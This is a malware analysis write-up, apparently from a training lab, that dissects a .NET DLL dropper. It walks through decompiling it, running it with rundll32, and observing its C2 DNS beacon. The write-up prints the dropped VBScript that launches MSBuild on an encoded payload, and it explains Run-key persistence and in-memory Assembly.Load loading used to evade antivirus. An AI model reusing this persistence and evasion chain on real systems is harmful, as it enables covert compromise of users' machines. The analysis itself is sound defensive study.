

# Malware.cryptlib64.dll.malz

---

Malware.cryptlib64.dll.malz

This is a dll file also known as dynamic linked library ,it is a file library that contains code and data that can be used by more than one program at the same time

```
get_Message
Console
WriteLine
CompilerGeneratedAttribute
EmbedDLL.dll
mscorlib
Cryptor
EmbedDLL
<PrivateImplementationDetails>
Program
AES_Encrypt
```

During static analysis we find mscorlib which is CLR(common language runtime) used to run C# ,F# and other languages and we even find .NETFramework which is a virtual machine for compiling and executing programs written in different languages like C#, VB.Net,F#.

We won't be able to open this file in normal editor so we use dnSpy which is .NET editor

In the code we can see the original name of the file which is EmbedDll in the setions we can observe 2 sub sections Cryptor and Program

In the program section we can see there is an empty main function whole cade has one function which is running the whole thing `private static void embed()`,in that function a long base64 string is being decoded and decompressed and given to AES decrypt and written into `embed.xml` in public directory ,when we move further down we find another block of base64 code which is decoded and being written to a file in `C:\Users\Public\Documents\embed.vbs`

So two documents are being written into two different locations ,we find one more interesting thing this code opens User current registry hive and writing and going to the sub key of

`Software\Microsoft\Windows\CurrentVersion\Run` and set value called embed and setting it's value as vbs script which we just unpacked

We can see what will program do by running it but we can't run dll script directly ,we need a vessel to run it,we can use rundll32 which provides vessel to run the script ,for running it we need a main method that is invoking everything ,so we need to give an argument so we give embed as argument to function as that is the important function

```
C:\Users\toxin\Desktop
λ rundll32 Malware.cryptlib64.dll,embed
```

We can see the downloaded vbs and xml file

This PC > Local Disk (C:) > Users > Public >

Name	Date modified	Type	Size
Desktop	8/29/2022 10:08 PM	File folder	
Libraries	12/7/2019 1:31 AM	File folder	
Public Account Pictures	8/29/2022 8:58 AM	File folder	
Public Documents	10/2/2022 7:03 AM	File folder	
Public Downloads	12/7/2019 1:14 AM	File folder	
Public Music	10/2/2022 7:08 AM	File folder	
Public Pictures	12/7/2019 1:14 AM	File folder	
Public Videos	12/7/2019 1:14 AM	File folder	
desktop.ini	12/7/2019 1:12 AM	Configuration sett...	1 KB
embed.xml	10/2/2022 7:03 AM	XML Document	8 KB

PC > Local Disk (C:) > Users > Public > Public Documents >

Name	Date modified	Type	Size
Explorer Suite Signatures	8/29/2022 8:58 PM	File folder	
My Music	8/29/2022 9:25 PM	File folder	
My Pictures	8/29/2022 9:25 PM	File folder	
My Videos	8/29/2022 9:25 PM	File folder	
desktop.ini	12/7/2019 1:12 AM	Configuration sett...	1 KB
embed.vbs	10/2/2022 7:03 AM	VBScript Script File	1 KB

We can also check for registry keys

Computer\HKEY\_CURRENT\_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Name	Type	Data
(Default)	REG_SZ	(value not set)
embed	REG_SZ	C:\Users\Public\Documents\embed.vbs

When we open xml file we can see a large base64 encoded data is being decoded and decompressed and is passed to a system call known as `System.Reflection.Assembly.Load`. It is a very interesting sys call in terms of malware; this call basically copies everything byte by byte without getting caught in the hands of anti-virus and EDR. It's a common method to bypass security.

In .vbs file we can see it's calling the MSBuild.exe and passing the .xml file

So it has a registry run key that runs the vbscript when someone logs in

```
Set oShell = CreateObject ("Wscript.Shell")
Dim strArgs
strArgs = "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Users\Public\embed.xml"
oShell.Run strArgs, 0, false
```

We can test this by firing it up and observe using fakenet

```
10/02/22 08:41:32 AM [Diverter] svchost.exe (1668) requested UDP 10.0.0.4:53
10/02/22 08:41:32 AM [DNS Server] Received A request for domain 'srv.masterchiefsgruntemporium.local'.
10/02/22 08:41:33 AM [DNS Server] Received A request for domain 'srv.masterchiefsgruntemporium.local'.
10/02/22 08:41:56 AM [DNS Server] Received A request for domain 'www.msftconnecttest.com'.
```

When we run this script, it tries to access the `'srv.masterchiefsgruntemporium.local'` domain and `www.msftconnecttest.com`.

We may conclude that this acts as a C2 agent dropper.